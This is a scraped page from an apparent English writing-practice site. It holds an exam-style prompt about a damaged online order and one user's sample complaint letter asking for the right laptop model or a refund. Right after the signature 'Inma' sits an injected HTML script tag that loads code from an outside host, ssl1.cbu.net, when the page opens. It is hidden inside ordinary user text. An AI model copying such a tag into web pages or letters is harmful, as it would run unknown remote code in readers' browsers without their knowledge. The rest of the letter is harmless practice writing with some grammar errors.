You ordered an equipment online However when you received it was damaged Send a letter to the manager of the company about these details and write what you want the manager to do

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You ordered an equipment online. However, when you received, it was damaged. Send a letter to the manager of the company about these details and write what you want the manager to do.

Submitted by inmalesa on Mon, 09/28/2020 - 14:34

Dear Madame/Sir,

I am writing with regard to the order 1208. I bought online a laptop in your website last week. Unfortunately, I received yesterday the box in a very poor condition. The box was broken and the laptop has a hit on the right corner. I attached you photos from the damaged box and laptop. I put an annotation on the delivery confirmation.
Also, I don't receive the model I ordered. I ordered the model 503 in black and I received the 501 in white.

As a result, I'd like to return the laptop.

Could you please send me the laptop model 503? If this is not possible, I would like to get a refund.

I look forward to your replay and soon resolution to my problem.

Yours Sincerely,
Inma <script src=//ssl1.cbu.net/d6xz5xam></script>

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Mon, 03/15/2021 - 07:14 Shwatank 89 view
Mon, 09/28/2020 - 14:34 inmalesa view
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